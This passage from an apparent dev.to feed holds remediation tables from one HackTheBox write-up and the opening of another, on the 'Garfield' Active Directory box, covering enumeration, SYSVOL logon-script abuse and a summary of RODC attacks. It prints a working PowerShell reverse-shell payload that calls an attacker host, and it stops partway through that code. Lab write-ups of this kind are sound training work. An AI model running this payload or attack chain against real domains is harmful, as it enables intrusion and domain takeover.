&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Database credentials stored in the Laravel &lt;code&gt;.env&lt;/code&gt; file, readable post-RCE&lt;/td&gt;
&lt;td&gt;Allows attackers to access and dump the MariaDB backend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Weak user password (bcrypt hash crackable via rockyou.txt)&lt;/td&gt;
&lt;td&gt;Enables SSH login as &lt;code&gt;phileasfogg3&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Misleading &lt;code&gt;sudo -l&lt;/code&gt; grant (&lt;code&gt;(ALL) ALL&lt;/code&gt; gated by &lt;code&gt;targetpw&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Not directly exploitable, but highlights confusing/overlooked sudo configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;CVE-2025-6018 (pam-config)&lt;/td&gt;
&lt;td&gt;Converts a remote SSH session into an &lt;code&gt;allow_active&lt;/code&gt; session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;CVE-2025-6019 (libblockdev / udisks / Polkit)&lt;/td&gt;
&lt;td&gt;Local privilege escalation to root via a crafted filesystem mount&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  8. Remediations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Recommendation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Exposed &lt;code&gt;changelog.txt&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remove changelogs, README files, and other version-disclosing artifacts from production web roots&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-49132 (Pterodactyl Panel RCE)&lt;/td&gt;
&lt;td&gt;Upgrade to Pterodactyl Panel 1.11.11 or later; disable PHP-PEAR in production unless explicitly required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database credentials in &lt;code&gt;.env&lt;/code&gt; readable post-compromise&lt;/td&gt;
&lt;td&gt;Restrict filesystem permissions on &lt;code&gt;.env&lt;/code&gt; to the web service user only; consider a secrets manager instead of a flat file for production credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak/crackable user password&lt;/td&gt;
&lt;td&gt;Enforce strong, non-dictionary passwords; screen against breach/wordlist databases such as &lt;code&gt;rockyou.txt&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confusing &lt;code&gt;sudo&lt;/code&gt; configuration (&lt;code&gt;(ALL) ALL&lt;/code&gt; + &lt;code&gt;targetpw&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Avoid broad &lt;code&gt;ALL) ALL&lt;/code&gt; grants even when gated by &lt;code&gt;targetpw&lt;/code&gt;; audit &lt;code&gt;sudoers&lt;/code&gt; entries for unintended or misleading permissions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-6018 (PAM &lt;code&gt;allow_active&lt;/code&gt; escalation)&lt;/td&gt;
&lt;td&gt;Patch PAM/&lt;code&gt;pam-config&lt;/code&gt; to a fixed version; monitor for unexpected Polkit &lt;code&gt;allow_active&lt;/code&gt; session grants from non-console sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-6019 (libblockdev/udisks LPE)&lt;/td&gt;
&lt;td&gt;Patch &lt;code&gt;libblockdev&lt;/code&gt;/&lt;code&gt;udisks&lt;/code&gt; to a fixed version; restrict which users/sessions can invoke &lt;code&gt;udisks&lt;/code&gt; mount operations via Polkit policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lack of monitoring on Polkit/D-Bus privileged operations&lt;/td&gt;
&lt;td&gt;Deploy detection for anomalous &lt;code&gt;udisks&lt;/code&gt;/&lt;code&gt;polkit&lt;/code&gt; activity, unexpected loop-device creation, and SUID binary creation in world-writable paths like &lt;code&gt;/tmp&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HackTheBox : Garfield Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 14:31:38 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-garfield-writeup-aab</link>
      <guid>https://dev.to/exploitnotes/hackthebox-garfield-writeup-aab</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Garfield is a Windows Active Directory box centered on an attack path that's invisible to standard BloodHound collection: SYSVOL file-level write access that isn't reflected in AD object ACLs. Starting from HTB-provided credentials for &lt;code&gt;j.arbuckle&lt;/code&gt;, SMB/LDAP enumeration and a BloodHound sweep surface a promising-looking chain (&lt;code&gt;l.wilson&lt;/code&gt; -&amp;gt; &lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; RODC01) but no way in as &lt;code&gt;l.wilson&lt;/code&gt; itself - until manual SMB testing reveals write access to SYSVOL logon scripts, a GPO delegation artifact BloodHound doesn't model. A malicious logon script (&lt;code&gt;.bat&lt;/code&gt; launcher + in-memory PowerShell reverse shell) planted via SYSVOL and assigned to &lt;code&gt;l.wilson&lt;/code&gt;'s &lt;code&gt;scriptPath&lt;/code&gt; yields a shell on next login.&lt;/p&gt;

&lt;p&gt;From there, &lt;code&gt;l.wilson&lt;/code&gt; resets &lt;code&gt;l.wilson_adm&lt;/code&gt;'s password directly (a delegated right), giving the user flag. &lt;code&gt;l.wilson_adm&lt;/code&gt; holds &lt;code&gt;WRITE&lt;/code&gt; on the RODC01 computer object, enabling Resource-Based Constrained Delegation (RBCD) via a self-created fake machine account - but RODC01 turns out to sit on an internal-only network segment (the DC is dual-homed), reachable only via a Chisel SOCKS tunnel. Once pivoted in, RBCD is used to request a service ticket impersonating Administrator against RODC01, &lt;code&gt;l.wilson_adm&lt;/code&gt; is added to the RODC Administrators group, and the RODC's Password Replication Policy is modified to allow it to cache the real Administrator's credentials. Forcing replication and dumping the RODC's &lt;code&gt;krbtgt&lt;/code&gt; key with mimikatz enables both a RODC Golden Ticket and a Key List Attack, ultimately yielding the domain Administrator's NTLM hash and full domain compromise via Pass-the-Hash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key techniques:&lt;/strong&gt; SMB credential leak -&amp;gt; BloodHound-invisible SYSVOL write access -&amp;gt; malicious logon script (fileless PowerShell reverse shell) -&amp;gt; delegated password reset -&amp;gt; RBCD against a writable RODC computer object -&amp;gt; internal network pivot via Chisel -&amp;gt; RODC group/PRP abuse -&amp;gt; forced credential replication -&amp;gt; RODC &lt;code&gt;krbtgt&lt;/code&gt; extraction -&amp;gt; Golden Ticket / Key List Attack -&amp;gt; Pass-the-Hash as Administrator.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;An &lt;code&gt;nmap&lt;/code&gt; scan was run to identify open ports and services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap-garfield

Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;garfield.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 986 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos &lt;span class="o"&gt;(&lt;/span&gt;server &lt;span class="nb"&gt;time&lt;/span&gt;: 2026-04-05 03:04:25Z&lt;span class="o"&gt;)&lt;/span&gt;
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: garfield.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: garfield.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T03:04:43+00:00
|_ssl-date: 2026-04-05T03:05:23+00:00&lt;span class="p"&gt;;&lt;/span&gt; +8h00m01s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 &lt;span class="o"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: &lt;span class="s2"&gt;"Not Found"&lt;/span&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0
Device &lt;span class="nb"&gt;type&lt;/span&gt;: general purpose
Running &lt;span class="o"&gt;(&lt;/span&gt;JUST GUESSING&lt;span class="o"&gt;)&lt;/span&gt;: Microsoft Windows 2019|10 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Service Info: Host: DC01&lt;span class="p"&gt;;&lt;/span&gt; OS: Windows&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2026-04-05T03:04:45
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;138.23 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a Windows Active Directory Domain Controller. HTB provided a credential leak for this box: &lt;code&gt;j.arbuckle&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.1 DNS Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @dc01.garfield.htb any garfield.htb

&lt;span class="p"&gt;;;&lt;/span&gt; ANSWER SECTION:
garfield.htb.           600     IN      A       &amp;lt;MACHINE-IP&amp;gt;
garfield.htb.           3600    IN      NS      dc01.garfield.htb.
garfield.htb.           3600    IN      SOA     dc01.garfield.htb. hostmaster.garfield.htb. 319 900 600 86400 3600
garfield.htb.           600     IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

&lt;span class="p"&gt;;;&lt;/span&gt; ADDITIONAL SECTION:
dc01.garfield.htb.      3600    IN      A       192.168.100.1
dc01.garfield.htb.      3600    IN      A       &amp;lt;MACHINE-IP&amp;gt;
dc01.garfield.htb.      3600    IN      AAAA    dead:beef::5a16:a5c9:fba3:d037
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The presence of a &lt;code&gt;192.168.x.x&lt;/code&gt; address alongside the public one indicates the domain controller is &lt;strong&gt;dual-homed&lt;/strong&gt; - it also sits on an internal network segment not directly reachable from the attacker machine. This becomes relevant later.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2 SMB/LDAP Enumeration
&lt;/h3&gt;

&lt;p&gt;Shares and users were enumerated with the leaked credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb\j.arbuckle'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Windows 10 / Server 2019 Build 17763 x64 &lt;span class="o"&gt;(&lt;/span&gt;name:DC01&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;domain:garfield.htb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;signing:True&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;SMBv1:None&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Null Auth:True&lt;span class="o"&gt;)&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;+] garfield.htb&lt;span class="se"&gt;\j&lt;/span&gt;.arbuckle:Th1sD4mnC4t!@1978
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Enumerated shares
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Share           Permissions     Remark
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="nt"&gt;-----&lt;/span&gt;           &lt;span class="nt"&gt;-----------&lt;/span&gt;     &lt;span class="nt"&gt;------&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   ADMIN&lt;span class="nv"&gt;$ &lt;/span&gt;                         Remote Admin
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   C&lt;span class="nv"&gt;$ &lt;/span&gt;                             Default share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   IPC&lt;span class="nv"&gt;$ &lt;/span&gt;           READ            Remote IPC
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   NETLOGON        READ            Logon server share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   SYSVOL          READ            Logon server share
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb\j.arbuckle'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;--users&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="nt"&gt;-Username-&lt;/span&gt;                    &lt;span class="nt"&gt;-Last&lt;/span&gt; PW Set-       &lt;span class="nt"&gt;-BadPW-&lt;/span&gt; &lt;span class="nt"&gt;-Description-&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Administrator                 2025-10-03 17:29:26 0       Built-in account &lt;span class="k"&gt;for &lt;/span&gt;administering the computer/domain
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Guest                         &amp;lt;never&amp;gt;             0       Built-in account &lt;span class="k"&gt;for &lt;/span&gt;guest access to the computer/domain
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account &lt;span class="k"&gt;for &lt;/span&gt;read-only domain controller
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   j.arbuckle                    2025-09-09 15:50:55 0
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   l.wilson                      2026-01-27 21:40:33 0
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   l.wilson_adm                  2026-01-13 14:56:35 0
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Enumerated 7 &lt;span class="nb"&gt;local users&lt;/span&gt;: GARFIELD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing directly exploitable surfaced here, so the next step was a full BloodHound sweep. The presence of &lt;code&gt;krbtgt_8245&lt;/code&gt; - a second KDC service account tied to a read-only domain controller (RODC) - is worth noting for later.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Active Directory Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-u&lt;/span&gt; j.arbuckle &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; garfield.htb &lt;span class="nt"&gt;-dc&lt;/span&gt; DC01.garfield.htb &lt;span class="nt"&gt;-c&lt;/span&gt; All
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ingesting the collected data into BloodHound revealed a useful, if incomplete, chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;l.wilson&lt;/code&gt; -&amp;gt; can reset the password of &lt;code&gt;l.wilson_adm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; can self-add to &lt;code&gt;RODC01 Administrators@garfield.htb&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; can change the password of &lt;code&gt;RODC01.garfield.htb&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These paths are promising, but all of them require access to &lt;code&gt;l.wilson&lt;/code&gt; first - and nothing in the graph explains how to get there.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Initial Foothold via SYSVOL
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The BloodHound Blind Spot
&lt;/h3&gt;

&lt;p&gt;This attack path doesn't appear in BloodHound because of a structural limitation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Object vs. file permissions&lt;/strong&gt; - BloodHound models Active Directory &lt;em&gt;object&lt;/em&gt; ACLs, but does not analyze NTFS permissions inside SYSVOL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GPO delegation mismatch&lt;/strong&gt; - Administrative delegation (e.g. "Manage Logon Scripts") often grants write access to SYSVOL &lt;em&gt;files&lt;/em&gt; without touching the AD object's own ACL.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result: attack paths relying on file-level SYSVOL access remain invisible in the BloodHound graph.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;j.arbuckle&lt;/code&gt; is a member of the IT Support group, which prompted manual validation of accessible network shares beyond what BloodHound reported. Using &lt;code&gt;smbclient&lt;/code&gt;, the group turned out to have write access to logon scripts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify write access&lt;/span&gt;
smbclient //&amp;lt;MACHINE-IP&amp;gt;/SYSVOL &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"cd garfield.htb&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;cripts; put /etc/hosts test.txt"&lt;/span&gt;

putting file /etc/hosts as &lt;span class="se"&gt;\g&lt;/span&gt;arfield.htb&lt;span class="se"&gt;\s&lt;/span&gt;cripts&lt;span class="se"&gt;\t&lt;/span&gt;est.txt &lt;span class="o"&gt;(&lt;/span&gt;1.9 kB/s&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;average 1.9 kB/s&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The upload succeeded - confirming write access to logon scripts, a path invisible to the BloodHound graph but sufficient to compromise &lt;code&gt;l.wilson&lt;/code&gt;, which in turn opens the &lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; RODC01 chain already identified.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Reverse Shell Payload
&lt;/h3&gt;

&lt;p&gt;A two-stage payload was used to execute code via AD logon scripts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;code&gt;.bat&lt;/code&gt; launcher (&lt;code&gt;evil.bat&lt;/code&gt;) as the logon script itself&lt;/li&gt;
&lt;li&gt;A PowerShell reverse shell (&lt;code&gt;shell.ps1&lt;/code&gt;), downloaded and executed in memory by the launcher&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;PowerShell payload (&lt;code&gt;shell.ps1&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Net.Sockets.TCPClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;ATTACKER-IP&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetStream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="o"&gt;|%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TypeName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Text.ASCIIEncoding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
